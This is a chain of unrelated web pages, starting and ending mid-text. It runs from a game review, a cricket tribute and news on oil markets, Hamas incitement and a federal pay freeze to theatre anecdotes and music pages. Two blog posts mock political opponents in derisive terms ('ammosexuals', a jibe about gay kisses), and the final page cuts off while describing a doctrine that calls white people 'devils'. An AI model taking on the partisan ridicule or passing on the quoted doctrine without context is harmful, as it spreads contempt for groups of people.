you are someone who values community interaction, I feel it is worth mentioning that StarDrive’s developer currently has over 2600 posts on his forum, which is an average of over 7 posts a day. If you’ve ever been frustrated by the silent treatment some developers present you with, or have felt like your voice hasn’t been heard, then StarDrive may make you feel differently. I have personally witnessed numerous ideas and balance changes presented by the community that have been implemented throughout the beta period. Final Words In my opinion, I do feel StarDrive’s release is a bit premature. While bugs and balancing issues are expected post-release, some of the issues I have described experiencing with this release version are a bit more serious than that, especially when playing on my laptop. Since the game was already available to anyone interested in playing as a beta, I’m not sure why the game’s release wasn’t pushed to allow more time for features to be finalized and for bugs to be squashed. As such, those who are easily frustrated by technical and gameplay issues and who don’t like to participate in beta versions because of them, may want to wait a bit longer for these things to be patched out. For a game designed and developed primarily by only one man, the range and scope of StarDrive’s design has had to have been a monumental undertaking. To succeed where entire teams of 4X designers have failed, is simply remarkable in my opinion. While I’ve listed my fair share of shortcomings with the game as it is, it is important to realize that the game itself is still a good game that is fun to play as long as you aren’t experiencing some of the actual technical issues that I experienced on my laptop. StarDrive is a solid title that is enjoyable but not infallible, and much like every other title in the genre, has its own shortcomings that may prevent some players from enjoying the game. The Good: – Ship design is fantastic and allows the player to feel responsible for ship effectiveness – Enemy AI will use prior player designs to its own advantage – AI races behave reliably in diplomatic matters rather then erratically – Espionage offers an alternative form of combat and advancement – The AI offers a significant challenge, especially for inexperienced players – Developer is very active with the community and patches frequently – Supportive of the modding community The Bad: – A lack of variety in random events and non-race threats like space monsters – Numerous features, like pirates and minor races, feel like concepts rather then full features – Stability and performance are issues for some players and hardware configurations, especially in the late game – Limited victory conditions – Game still feels unpolished in several areas and is in need of bug hunting and refinement Keith Turner, also known as aReclusiveMind here on SpaceSector, has been an avid gamer ever since he first laid his hands on a Commodore 128 in the mid 1980s. He enjoys multiple computer game genres, but his primary interests are in deep strategy games, 4x games, rpgs, and action rpgs. He enjoys writing and hopes to contribute with additional reviews, previews, and informative AARs to the community. See all Keith’s posts here. Subscribe RSS Related Articles: Post category: Game Reviews -THE world is joining Australia to mourn the death of cricketer Phillip Hughes in the most remarkable of ways. As the news of Hughes’ death spread across the internet, Sydney father Paul Taylor placed his cricket bat at his front door as a “mark of respect” and tweeted the image using the hashtag #putoutyourbats. RELATED: BRETT LEE:‘NO ONE CAN DESCRIBE THE LOSS’ RELATED: HUGHES’ RARE CONDITION EXPLAINED RELATED: TEAM DOCTOR REMAINED WITH HUGHES media_camera The world has joined Australia to mourn the death of Australian cricketer Phil Hughes. Picture: Robert Cianflone media_camera Australian flags are lowered to half mast at Cricket NSW and the SCG. Picture: Adam Taylor media_camera Bats are placed at Adelaide Oval in the wake of the passing of Phil Hughes. Photo Sarah Reed. media_camera An Australian and English flag at Cricket NSW to pay respects. Picture: Adam Taylor The commemoration has since gone global, and now grieving fans from Tamworth to London are joining in. @CricketAus @WWOS9 An act of respect to a courageous young man taken to soon R.I.P Hughesy #Putoutyourbats pic.twitter.com/CEuLml23wa — Daniel friend (@27Frendy) November 27, 2014 #putoutyourbats #RIPPhillipHughes Australians know how to do mate ship.Love to the Hughes family.Love to Sean Abbott pic.twitter.com/WwKqCBln5g — Rachel (@rach_thistleton) November 27, 2014 #putoutyourbats Tribute to the little champ Phil Hughes. RIP legend. pic.twitter.com/317DvnSJis — Nick Rainey (@Nick_Rainey1) November 27, 2014 Australia get this trending in respect to the late Phil Hughes #RIPPhilHughes #putoutyourbats pic.twitter.com/cIlaWgMqAZ — james williams (@jamesw82) November 27, 2014 -As one of our loyal readers, we ask you to be our partner. Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World. Ismail Haniyeh, Hamas’ deputy political bureau chief in Gaza, said on Friday that the "Al-Aksa intifada has been revived and we intend to join," according to Channel 10. In a sermon delivered on Friday, the Hamas leader said that "Jews are trying to take over the Al-Aksa mosque but they will not succeed." The assailant approached the guard, stationed at the entrance of the bus terminal, armed with a knife. She was shot and neutralized on the spot, and is being treated for moderate wounds. Reuters contributed to this article The claim that Jews are attempting to take control of the Temple Mount where the Al-Aksa mosque sits has been a common refrain that has stoked tensions in Israel and the West Bank.Haniyeh added that his terrorist organization intends to join the so called Palestinian uprising taking place that has seen a string of escalating violence over the past several days, Channel 10 added."We will liberate Al-Aksa and we as Gazans intend to join" the current upheaval, Haniyeh declared."We call for escalating and deepening the intifada... We are proud of you, the heroes of knives," Haniyeh added at Friday prayers. Friday alone has seen four terror attacks throughout Israel, with one coming at the hands of a Jewish extremist in Dimona.Three Palestinians were stabbed in the incident, with one in critical condition. Two remain in moderate condition, MDA reported Friday morning.Prime Minister Benjamin Netanyahu "strongly condemned" the attack in Dimona Friday morning."Israel is a state of law and order," he said, pledging to "bring justice to anyone using violence and breaking the law from any side."Shortly thereafter, 16-year-old was lightly injured in a stabbing attack in Jerusalem. The stabber was neutralized following the incident.Not long after, a police officer in Kiryat Arba was lightly injured after being stabbed by a terrorist who attempted to steal his weapon. The suspect was subsequently shot and killed.And the latest attack was carried out by a female terrorist who attempted to stab a security guard at the Afula central bus station. Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>> -NEW YORK (Reuters) - Oil prices resumed their downward path on Tuesday after rallying the previous session, while stocks climbed as investors snapped up beaten-down energy shares. A Wall Street sign is pictured outside the New York Stock Exchange in New York, October 28, 2013. REUTERS/Carlo Allegri Brent and U.S. crude oil dropped more than 2 percent each following a deal that will add more Iraqi crude to markets and gains in the dollar. Brent crude oil is down more than 30 percent since June. The Dow Jones industrial average closed at a record high, boosted by gains in energy shares as investors searched for bargains in the sector. The S&P energy index .SPNY, which is down 14 percent since June, jumped 1.3 percent. “The market is sniffing out a bottom in the underlying commodity and we are seeing a bounce in energy stocks from having been oversold in the last month or so,” said John Manley, chief equity strategist at Wells Fargo Funds Management in New York. The Dow Jones industrial average .DJI rose 102.75 points, or 0.58 percent, to 17,879.55, the S&P 500 .SPX gained 13.11 points, or 0.64 percent, to 2,066.55 and the Nasdaq Composite .IXIC added 28.46 points, or 0.6 percent, to 4,755.81. MSCI's global share index .MIWD00000PUS was up 0.3 percent, while European shares .FTEU3 ended up 0.5 percent. Emerging market shares tracked by MSCI .MSCIEF lost 0.1 percent, with Brazil's Bovespa index .BVSP down 1.3 percent. Giving the Nasdaq its biggest boost, shares of Biogen Idec (BIIB.O) jumped 6.4 percent to $328.27 after favorable data from the Phase III trial of its Alzheimer’s drug. The Nasdaq biotech index .NBI jumped 2.1 percent. In the energy market, benchmark Brent crude oil LCOc1 fell $2.00, or 2.8 percent, to settle at $70.54 a barrel, while U.S. crude CLc1 fell $2.12, or 3.1 percent, to settle at $66.88. On Monday, the market had its biggest rally in two years. Beyond the plunge in oil is a deeper debate about whether some developed economies are slipping into a prolonged period of stagnation, or just coming out of the financial crises of the past five years more slowly than previously hoped. DOLLAR GAINS The dollar rebounded, reaching a 4-1/2-year high following the decline in oil, which has helped to lift the dollar against commodity-linked currencies. Comments from two Federal Reserve officials who stressed the positive impact on the U.S. economy from a decline in oil prices helped to boost the greenback. The dollar index .DXY was up 0.8 percent at 88.634. Gains in the dollar pressured gold, however, with spot gold XAU= dipping 1 percent to $1,198.77 an ounce. U.S. Treasuries prices fell, pressured by Wall Street’s rally and institutional investors readying for a $6 billion corporate bond deal from Amazon (AMZN.O). The 10-year Treasury US10YT=RR was last off 15/32 to yield 2.296 percent. -× A decision to upgrade ERP cannot be made lightly. Deloitte practitioners present some practical advice for navigating the hazards. Upgrading or enhancing ERP systems can be a sensitive topic in many organizations, and for good reason. Organizations have spent significant financial and political capital to reach their current state with ERP; careers have been made (and lost) based on the outcomes. ERP comprises a sizable percentage of IT spending and has an even larger influence on business operations. A decision to make changes to ERP will likely attract intense scrutiny from business leaders and should be approached with caution. But that doesn’t mean CIOs should hold back. Vendors are getting ready to roll out the next potentially disruptive wave—one that offers transparent and competitive costs and widespread access. How can you position your organization to benefit from vendor enhancements to ERP while navigating the potential hazards? Here are some suggestions: Experiment at the edge. Explore opportunities to adopt revamped ERP engines in areas that surround your core transactional layer—in business intelligence or analytics, for example. Additionally, use the adoption of the revamped engine to introduce new disciplines that may have immediate business impact—for example, creating new capabilities around big data to improve customer sentiment or salesforce effectiveness. Experiment at the core. Explore opportunities to run core workloads more affordably and on much less gear. Similarly, performance leaps in run times offer opportunities to rethink traditional limits on batch windows, run-book sequencing, and even business cycles. Catch up with technical upgrades. If you’ve hedged against technical upgrades and are generations behind the latest versions, now’s the time to get compliant, before you're asked to support a business agenda that requires an ERP engine with more horse power. Understand vendors’ competing approaches. Today’s leading vendors are placing different bets. SAP focuses on extensibility and ubiquity, while Oracle emphasizes convergence and integration. The various cloud players seek to create disruptions on the edge that will bleed into the core. The burden is on each organization to understand vendors’ plans and articulate their own business vision in similar terms. They can then invest where the plans and visions are clearly aligned, and make intelligent bets where there is uncertainty. Evangelize. Become a change agent by asking what the business can do differently and how the organization’s mission can be better served. Understand the implications of the “what” and “how” so you don’t oversimplify the migration effort or promise too much. Vendors and partners can provide benchmarks and scenarios for use cases to help you understand the potential business impact of making foundational changes. Examples from competitors and other industries are helpful, but use cases for your own business are even better. ***** While technology considerations are clearly central to pursing ERP enhancements, more important questions relate to business performance. What would you do differently if you could close your books in seven seconds instead of seven days? How would your sales strategy change if thousands of store managers could each execute daily sales forecasts? What could you learn from real-time monitoring of the social sphere around your industry? A new ERP engine can give you the tools to answer these questions and more. —by Bill Allison, principal, Deloitte Consulting LLP and Richard Kupcunas, director, Deloitte Consulting LLP -Stage managers are a phlegmatic breed and, if the house style of their nightly show reports at the National Theatre is anything to go by, their sense of humour is bone-dry. Since 1963, NT actors have given tens of thousands of performances at the Old Vic and on the South Bank, but, with just one performance per run audio or video recorded for archive purposes, only a tiny fraction of these shows endure. For all the rest, the most tangible records are the reports typed up by the stage manager soon after curtain-down, and stored in the NT Archive. These pro-forma, A4 sheets give basic information, including start and finish times for each act, length of interval, details of any absentees and who covered their roles. Sometimes a performance is momentarily brought to life by the section headed "Remarks" or, latterly, "Comments". Here, stage managers always hope to write "Full house. Clean show. Standing ovation", and, far more often than not, no problems are noted. But in live theatre it will never be all right every night… Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month Jumpers (Old Vic, 1972–73) Stage manager: Jackie Harvey. Cast included Diana Rigg, and a mechanical prop tortoise Wednesday 23 February 1972 "Fluff from Miss Rigg's gown caught in her throat early in Act 1 and remained until interval: very painful; affected her voice." Tuesday 29 February 1972 "Tortoise head fell off during Act 1. This is the third time that this has happened. Please could the design be changed." Saturday 24 March 1973 "An [unsecured loud] speaker attacked a prop man during the first scene change, resulting in water spilt over Secretary's desk and no carafe or (full) glass set in study. The latter were set one scene later. The former has now been secured with stage weights (the speaker, not the prop man)." Macbeth (Old Vic, 1972) Stage manager: Jackie Harvey Saturday 18 November "The collapsible dummy in the second witches scene: more often than not the wig does not fall off: this appears to be a design problem rather than a handling one… is the removal of a broomstick the swiftest way to effect the collapse that we can think of? It is a beautiful dummy, of course, but is not quite 'hitting the spot', therefore does require further thought." Plunder (Lyttelton, 1976) Stage manager: John Rothenberg Saturday 10 April "Towards the end of Act 1 there was a disturbance caused by a latecomer who wanted to get into the stalls but was stopped by a security guard. There was a slight tussle in which the gentleman fainted. He was taken, or rather carried, to the stage door where it was discovered that he was a diabetic who had eaten the wrong food. Hence the collapse. His friends finally took him away. But not before he threatened litigation." Tuesday 27 April "[Curtain-up] held from front of house [for eight minutes], owing to the presence of HRH Princess Margaret on an informal visit. We were very close to getting a slow hand clap." Weapons of Happiness (Lyttelton, 1976) Stage manager: John Rothenberg Wednesday 14 July "The cricket ball [was accidentally hit] into the front row of the stalls and was well fielded and returned by the woman in whose lap it landed. The champagne bottle took it unto itself to pop one scene too early. What you might call a premature ejaculation." Julius Caesar (Olivier Theatre, 1977) Stage manager: John Rothenberg. Cast included John Gielgud as Julius Caesar Friday 1 April "Sir John off for his first entrance. Was sitting in his dressing room with the show relay [speaker] tuned into [Alan Ayckbourn's Bedroom Farce in] the Lyttelton. A rather long, but not pregnant, pause whilst he was collected. The Company filled in the time chatting amongst themselves and listening to the Augurers chanting." Illuminatus! (Cottesloe, 1977) Stage manager: Terry Bird Saturday 21 May "Four curtain calls, but some fooling about in Act 1: saxophonist played the Steptoe [theme] instead of tear-jerker; toy robot crossed the stage on the line: 'Martians'. This was stopped and those concerned spoken with. The replacement goat [is] very large, and took one or two actors off upstage during the black mass; no one injured." Amadeus (Olivier Theatre, 1979–81) Stage manager: John Rothenberg. Cast included Paul Scofield as Mozart's nemesis, Salieri Saturday 3 May 1980 "Mr Scofield received a tumultuous round on his entrance for Act 2, which seemed to throw him a bit, but he soon rallied." Saturday 17 May 1980 "The brakes went on the wheelchair and Mr Scofield nearly finished up in the stalls." Way Upstream (Lyttelton, 1982–83) Stage manager: Ernest Hall. Alan Ayckbourn's comedy, set on a riverboat which moved through a large, on-stage water tank, brought a series of mishaps unprecedented – and unrepeated – in the National's history. Cast included Jim Norton and Tony Haygarth Friday 27 August 1982 "Boat movements erratic throughout because work on the [river] bank [earlier in the day] prevented a new boat operator… getting any technical rehearsal… Long interval – the bank once again jammed on its last move in Act 1… Boat pivot problems… made it necessary to interrupt the performance twice in Act 2 by bringing in the iron [safety] curtain and replacing a slipped cable on [the winch] wheel… There was a new loudspeaker in the boat and…the first music cue in Act 1 was so loud in the boat that neither actors nor operators could hear what was happening in the play and the speaker had to be turned off… The feeling of the company… was that they could not face the prospect of every having to live through such a traumatic performance again." Monday 13 December "First performance without water [in the tank]… Because the boat rocks more easily without water, the gangplank was thrown off into the tank at the beginning of the play. Retrieved most ingeniously by Mr Norton. It all felt very odd!" Wednesday 23 February 1983 "The water was back for this evening's performance, which was just as well because at least there was something for Mr Haygarth to fall into when he slipped off the boat during Act 1. He wasn't hurt, just wet, and the audience was appreciative!" Tuesday 8 March 1983 "Unexpected sound effect: shrieking birds (part of the 'atmosphere' tape). They were taken out quite quickly, but for a moment the atmosphere was more Hitchcock than Ayckbourn." Hamlet (Olivier, 1989) Stage manager: Ernest Hall. Cast included Daniel Day-Lewis (Hamlet), Judi Dench (Gertrude) and Jeremy Northam (Laertes) Thursday 1 June "Very loud talking (men's voices) heard onstage during Act 4, Scene 5… A stage technician mentioned that he had heard men in the bottom of the drum revolve sawing and shouting to each other and had told them to be quiet. At lights down (5.14pm) I was unable to contact anyone who could have told me who they were or what they were doing in the drum during a matinee. We do need to find out so that we can a) avoid a repetition and b) so that the four actors [including] Dame Judi…who suffered from this noise… receive the detailed explanation they deserve." Thursday 5 September "On the Ghost's exit in Act 1, Scene 5, Mr Day-Lewis left the stage and told me that he could not continue the performance. An announcement was made and the audience invited to take an extra interval. The announcement only specified technical problems. After 32 minutes the performance resumed with Mr Northam as Hamlet. Mr Bedford played Osric and Mr Nicholas a Switzer. Mr Northam coped brilliantly (not an exaggeration) and received an outstanding reception from the audience." Sunday in the Park with George (Lyttelton, 1990) Stage manager: Alison Rankin. Cast included Philip Quast as George Seurat Monday 11 June "The stage left charcoal tree came in several inches before it flew out during the bathing change, consequently it was swinging about violently and caught on the ceiling. Needless to say the actors were very frightened… The large scene changes were extremely noisy – no doubt due to the fact that everyone [on the crew] wanted to return to the England match being shown on TV. Mr Quast was most distressed." The Madness of George III (Lyttelton 1991–92) Stage manager: Courtney Bryant Wednesday 19 February 1992 "When Mr Byrne removed Mr Villiers' Chancellor's wig he also removed the wig Mr Villiers wears underneath. This left Mr Villers with the said wig in his hand. He walked behind the curtain stage right to get rid of it and at this moment Mr Hammond turned to address him and found him gone. This threw Mr Hammond who lost track of his words and on Mr Villiers reappearing needed a prompt which was given him by Mr Villiers." Skylight (Cottesloe, 1995) Stage manager: Trish Montemuro. Cast included Michael Gambon as a recently widowed businessman and Lia Williams as his former mistress, a schoolteacher Wednesday 3 May "[After curtain down] the company greeted Princess Margaret. She appeared to have enjoyed the performance very much and when Mr Gambon asked if she'd found it depressing, she said 'It was a bit like one's own life.'" The History Boys (Lyttelton, 2004) Stage manager: Trish Montemuro Saturday 8 May (first preview) The company and crew all worked very hard and dedicatedly to get the play up and running. Huge thanks are due to the crews. The company were ready for an audience, and the laughs. It was a truly extraordinary evening and the curtain call could have gone on and on. 'The National Theatre Story' by Daniel Rosenthal is published by Oberon Books, in hardback and in ebook -OREGON'S OLDEST AMA CHARTERED ROAD CLUB ROSE CITY OREGON 500 Saturday, May 11, 2019 The Rose City Oregon "500" is a tour rally for motorcycles of approximately 500 miles in length. Now in its 46th year, the "500" is a great way to spend your day in a long tour through beautiful Oregon. Here is an ENTRY FORM that you can print. Just fill out the form and include a check that covers $19.00 for each person pre-entry, and mail it to: Rose City Motorcycle Club Oregon 500 P.O. Box 91339 Portland, OR 97291-1339 NO PRE-ENTRIES ACCEPTED AFTER May 4th EVENT SCHEDULE: Sign-in will be between 4:30 a.m. to 7:30 a.m. at the Beaverton Motorcycles located at 10380 S.W. Cascade Blvd., Tigard, Oregon . The starting time will be between 5:00 a.m. to 8:00 a.m. Want directions to the Beaverton Motorcycles ? Here is a MAP The finish cut-off time is 8:00 p.m. and awards will be presented between 8:30 to 9:30 p.m. The winning time and mileage will be established by averaging all the times and mileages of all the finishing motorcycles. The entrant finishing nearest the official average time and mileage, plus or minus, will be declared the winner of each class. Unclaimed awards will not be forwarded. Participation Classes for Time and Mileage are: 4 places AMA, non-AMA rider; 4 places AMA, non-AMA passenger; 2 place AMA, non-AMA sidecar/trike. In addition there are awards for Youngest and Oldest Passenger on a motorcycle, Oldest Motorcycle, Smallest Motorcycle, Sweepstakes. Entrants will receive the ROSE CITY OREGON 500 tour pin and/or year bar, official route instructions and route card. The checkpoints on the course will be manned. All participants are urged to strictly observe all State and Local traffic laws. THIS IS NOT A RACE SUGGESTIONS FOR ENJOYING THE TOUR . . . DON'T RIDE ALONE Ride in groups of two to four motorcycles. A large group will slow you down at gas stops, rest stops and checkpionts. STAY DRY WITH RAIN GEAR. This is Oregon in May. Dress WARMLY. You can always take it off, but you can't put it on if you don't have it with you. Rose City Motorcycle Club believes that motorcycling is a family sport and we welcome children and young adults at our events. For this reason, we will provide a Notary Public for your convenience. A NOTARY PUBLIC WILL BE PRESENT AT SIGN-IN. Page was last updated on : -The concept of a Ren & Stimpy experience without the visuals initially seems pretty strange -- not to mention no new input from the insanely wonderful genius of the show's creator, John Kricfalusi, whose expulsion from the series was one of the worst artistic crimes of its time. But You Eediot!, named after the catch phrase that Ren would so often deliver to his slobbering sidekick Stimpy, is in its own way the reasonable equivalent to a good post-Krisfaluci episode, more competent than deranged and funny but still worth a few smiles. There are thankfully a few dollops of the original songs that Krisfaluci helped co-write, both with lyrics and with music, though with Billy West doing the voices of both Ren and Stimpy in these re-recordings, it's not quite the originals, alas. When it comes to the other random performances, however, there's plenty to love, dipping into everything from sci-fi soundtracks to strange country music from the back of beyond. The Screamin' Lederhosen, who provided some of the most memorable incidental music, get to show off their post-bop/lounge/whatever chops with "Dog Pound Hop" and "Space Madness," while the Gay Men's Chorus of Los Angeles add just the right stirring note to "Kilted Yaksmen Anthem." The varied contributors throughout the album -- a slew of different musicians worked on the show -- make for a bit of an up-and-down listen, but the prime moments are pretty close to genius, such as the deeply tongue-in-cheek swinging advice record "Don't Whiz on the Electric Fence," the multicultural experience of "Log Blues/Log Theme," and in particular the most legendary song of all: "Happy, Happy, Joy, Joy" -- allegedly sung by Stinky Wizzleteats -- remains the most demented mock theme song ever, more intentionally goofy and annoying than anything the Barney crowd could come up with. -With all the chaos surrounding the President-elect this week (see Donald Trump Body Slams BuzzFeed, CNN For Fake Russian ‘Report’ and Trump Campaign BLASTS Unsourced, Unsubstantiated Russian ‘Intelligence’ Report), people were caught off guard by this tweet about L.L. Bean: Thank you to Linda Bean of L.L.Bean for your great support and courage. People will support you even more now. Buy L.L.Bean. @LBPerfectMaine — Donald J. Trump (@realDonaldTrump) January 12, 2017 Seems Trump might have referred to the wrong Bean by his phrasing. @LBPerfectMaine is indeed Linda Bean, but it isn’t L.L. Bean’s Twitter account*. Regardless, I’m now in the mood for some Maine lobster. What happened, apparently, is that L.L. Bean was added to a list of stores to boycott over “the store’s support of Trump.” The rub is it wasn’t the company as a whole as much as one member of the family being a vocal Trump supporter. This is usually the part of the story where the company caves, bans that family member from Christmas dinner and cuts a check to Planned Parenthood or Al Sharpton. All while promoting “love, diversity, and tolerance.” Hugs and gay kisses. Instead, L.L. Bean pushed back… So to “Grab Out Wallet,” the store basically says this… Seriously, what a breath of all organically sourced, free range fresh air for a company to stand up to the bitter left. The bitter left, which is now going plaid over Trump’s tweet about L.L. Bean. I’d totally shop there on principle now if I liked their clothes at all. This is one step forward. Here’s the thing, what L.L. Bean did by defending their own (in contrast to places like FireFox), saying their board, their team, their employees have different opinions, and we stay out of politics, is only going to buoy their reputation and their sales. It was smart. There will even be some intellectually honest liberals who will agree with L.L. Bean here, and “Grab Your Wallet” will lose. Bad form. Yes, there are intellectually honest liberals. Be sensible. Have you seen Donald Trump thug life? The next four years hold some fun… *Correction made about Linda Bean’s Twitter account. NOT SUBSCRIBED TO THE PODCAST? FIX THAT! IT’S COMPLETELY FREE ON BOTH ITUNES HERE AND SOUNDCLOUD HERE. -The House approved legislation on Tuesday that would block a pay increase for federal workers and members of Congress scheduled to take place in March. ADVERTISEMENT Members voted 287-129 in favor of the bill from Rep. Mike Fitzpatrick (R-Pa.). Just two Republicans opposed the legislation, and 55 Democrats supported it. Republicans brought the bill up under a suspension of the rules in order to allow for quicker consideration, although that move also required a two-thirds majority vote. The bill is a response to an executive order last Friday from President Obama that would end the two-year federal worker pay freeze, and increase congressional pay by about $1,000 for each member of the House and Senate. Both parties agree on keeping congressional salaries from rising, and the Senate's "fiscal cliff" bill approved early Tuesday morning included language blocking the congressional pay hike. But the fate of that bill in the House is somewhat uncertain, as House Republicans are considering amendments to it that the Senate seemed likely to reject. In addition, Republicans said during Tuesday debate that pay should also remain frozen for federal workers in light of the ongoing debt crisis. "Unbelievably, in the middle of talks this week on tax rates and sequestration revision, in the midst of high deficits and a growing national debt, the president has proposed pay increases for members of Congress, and has done so by executive order dated Dec. 28," Fitzpatrick said during Tuesday debate. "I have to say that nobody in this town saw this coming, and very few think it is warranted." House Oversight and Government Reform Committee Chairman Darrell Issa (R-Calif.) said the House has worked to trim spending across the entire federal government and that federal workers are already highly compensated. "Currently, federal workers receive typically over $100,000, and are about 16 percent higher compensated than their private-sector counterparts," he said. Rep. Michele Bachmann Michele Marie BachmannGillibrand becomes latest candidate scrutinized for how she eats on campaign trail Trump will give State of Union to sea of opponents Yes, condemn Roseanne, but ignoring others is true hypocrisy MORE (R-Minn.) introduced her own bill to keep the entire pay freeze intact and said some legislative response is needed. "I too was shocked when I saw that the president of the United States, out of nowhere, at no request from any member of Congress, had issued a unilateral executive order, which means he decided to take the law into his own hands, and in effect become his own Congress," she said. House Democrats from Virginia and Maryland, which have high proportions of people who work for the federal government, criticized the bill, H.R. 6726, as a GOP attempt to try to put the burden of reducing spending on these workers. "The Senate last night ... froze our salaries, but it didn't do this," Rep. Gerry Connolly Gerald (Gerry) Edward ConnollyDem rep hopes Omar can be 'mentored,' remain on Foreign Affairs panel Fairfax removed from leadership post in lieutenant governors group Virginia Legislative Black Caucus calls on Fairfax to step down MORE (D-Va.) said. "It didn't extend that freeze for a third year to the men and women who serve our country in federal service. "It's yet another tired, duplicative cheap shot at our nation's dedicated federal workforce. One last parting shot in the dying days of this Congress, which cannot die too soon." Rep. Jim Moran James (Jim) Patrick MoranJoe Lieberman says Northam shouldn't resign: Rush to judgment 'is unfair' Former Virginia congressman says Northam shouldn't resign: 'Redemption is a very powerful factor' States are stepping up to end animal testing in cosmetics while federal legislation stalls MORE (D-Va.) argued that the two-year pay freeze has already forced federal workers to help reduce the deficit. "Federal employees have contributed now over $100 billion toward deficit reduction," Moran said. "They've had their pay frozen for two years; this will be a third year. New hires are going to have to contribute four times as much into their pension as they would have to today. So they're really being made a scapegoat." Democrats also charged Republicans with pursuing the bill as a critique of federal workers, but Issa rejected that. "We're not arguing whether or not the federal worker is dedicated at all," he said. "We're arguing whether this is the right time to add $11 billion" to the deficit. House passage sends the bill to the Senate, but it's not clear the upper chamber will consider the bill, particularly given the congressional pay language already in the fiscal-cliff bill. Immediately after the pay-freeze bill, the House approved two other suspension bills, then went back into recess so leaders could continue deliberating on the fiscal cliff. The two other suspension bills are: H.R. 443, conveying land from the U.S. to the Maniilaq Association tribe in Alaska. Passed 410-5. H.R. 4212 — the Drywall Safety Act, establishing safety standards for domestic and imported drywall. Passed 378-37. -When a Fox News host does something right, I am all for giving them lots of applause. Gretchen Carlson is my "Fox News Heroine of the Day" today, because she's standing firm on her opposition to AR-15s, in spite of the abuse she's taking from ammosexuals. On her show Wednesday, she doubled down on her opposition to those instruments of death, in spite of vicious viewer feedback. “And of course, there were a lot worse ones with tons of F-bombs and worse than that even,” Carlson shrugged. “Intolerance is no doubt why politicians sometimes don’t say what they really think.” “But could that now be changing?” she asked, pointing out that Republicans like Donald Trump, Rob Portman and Bob Dole had all expressed an openness to new gun restrictions. “Maybe it’s time for more of us to start getting real and try to come together to actually get things done,” the Fox News host concluded. Ammosexual Twitter has been unkind too. She evidently only replies to the ones that don't have f-bombs, so these are pretty tame by ammosexual standards. But still... I'll never watch @GretchenCarlson again. Her Show or any appearances on @FoxNews because she doesn't understand the will of Americans. #2A — KevKid (@kevkid79) June 16, 2016 @GretchenCarlson it's a real shame that someone in a public forum can be such a moron in regards to guns. Should have stuck to pageants — JohnnyCJohnnyDo (@JohnnyC_6284) June 16, 2016 @GretchenCarlson why do you rich elitists who always want to make it more difficult for us common law abiding folks to protect ourselves — John Matthews (@ManViking) June 14, 2016 @GretchenCarlson Ur a stupid woman. You have just supported citizens 2 be under armed when faced by those with AR's. Only the good guys lose — brooke richards (@blazinbling91) June 15, 2016 Good for her. She is saying an incredibly unpopular thing on the Republican News Network, but it's the right thing. Keep standing firm, Gretchen. -Afrofuturism: The New Black twenty-seven mp3 music files / one hundred thirty-one minutes / two hundred and two megabytes » LISTEN INSTANTLY « » DOWNLOAD THE MIX « Similar themes can also be found in the mythologies and cosmologies of the Rastafari movement, Nuwaubianism, the Nation of Islam and its offshoot the Nation of Gods and Earths (the Five Percenters), all of which have been influential to hip hop culture. Personal mythologizing, ancient African civilizations (particularly Egyptian), space travel, UFOs, urban decay, dystopia and alienation, as well as the embrace of technology and the future are common themes in Afrofuturism, whether in the free jazz of Sun Ra, George Clinton's funk, dub, electro, house, techno, drum n bass, trip hop, ghetto tech, glitch hop or dubstep. There is also a strong concern with the use of language, as found in Samuel R. Delaney's novel Babel-17, the Rastafari's invented vocabulary of Iyaric, the Supreme Alphabet of the Five Percenters, or the work of b-boy theoretician Rammellzee, whose theory of Gothic Futurism describes the battle between letters and their symbolic warfare against any standardizations enforced by the rules of the alphabet. His treatise, "Iconic Panzerisms", details an anarchic plan by which to revise the role and deployment of language in society. Further Readings Mark Dery: Black to the Future Kodwo Eshun: More Brilliant than the Sun Mark Sinker: Loving The Alien - Black Science Fiction Christian Zemsauer: Afrofuturism Universal Zulu Nation Afrofuturism.net Sun Ra's family was deeply religious but was not formally associated with any Christian church or sect. The Black Masonic Lodge was one of the few places in Birmingham where African-Americans had essentially unlimited access to books, and the Lodge's many books on Freemasonry and other esoteric concepts made a large impression on him. In 1956 Sun Ra started to perform jazz concerts with his Arkestra using Egyptian and science fiction images. He was one of 1950s pioneer of synthezisers and electronic instruments. Ra also created the "Astro Black Mythology" as a context for his music and life with a thoroughly developed cosmology and he claimed to be not from this planet, but from Saturn - the planet that was associated with the color black in Old Egypt. For inspiration he looked at Egypt's civilization. Claiming that he was of the "Angel Race" and not from Earth, but from Saturn, Sun Ra developed a complex persona of "cosmic" philosophies and lyrical poetry that made him a pioneer of afrofuturism as he preached awareness and peace above all. The melody from this song also appears on the album A Black Mass which appeared in 1968 with Imamu Amiri Baraka (LeRoi Jones), a radio horror play written by Baraka based on the Nation of Islam myth of the evil angel Sun Ra was born Herman Poole Blount in Birmingham, Alabama. His legal name is Le Sony'r Ra. Sun Ra's music ranged from keyboard solos to big bands of over 30 musicians; his music touched on virtually the entire history of jazz, from ragtime to swing music, from bebop to free jazz; he was also a pioneer of electronic music, space music, and free improvisation, and was one of the first musicians, regardless of genre, to make extensive use of electronic keyboards.Sun Ra's family was deeply religious but was not formally associated with any Christian church or sect. The Black Masonic Lodge was one of the few places in Birmingham where African-Americans had essentially unlimited access to books, and the Lodge's many books on Freemasonry and other esoteric concepts made a large impression on him.In 1956 Sun Ra started to perform jazz concerts with his Arkestra using Egyptian and science fiction images. He was one of 1950s pioneer of synthezisers and electronic instruments. Ra also created the "Astro Black Mythology" as a context for his music and life with a thoroughly developed cosmology and he claimed to be not from this planet, but from Saturn - the planet that was associated with the color black in Old Egypt. For inspiration he looked at Egypt's civilization.Claiming that he was of the "Angel Race" and not from Earth, but from Saturn, Sun Ra developed a complex persona of "cosmic" philosophies and lyrical poetry that made him a pioneer of afrofuturism as he preached awareness and peace above all.The melody from this song also appears on the albumwhich appeared in 1968 with Imamu Amiri Baraka (LeRoi Jones), a radio horror play written by Baraka based on the Nation of Islam myth of the evil angel Yakub . According to the Nation of Islam (NOI), Yakub (also spelled Yacub or Yakob), was a scientist alive 6,600 years ago, responsible for creating the white race, a "race of devils". According to NOI doctrine, Yakub 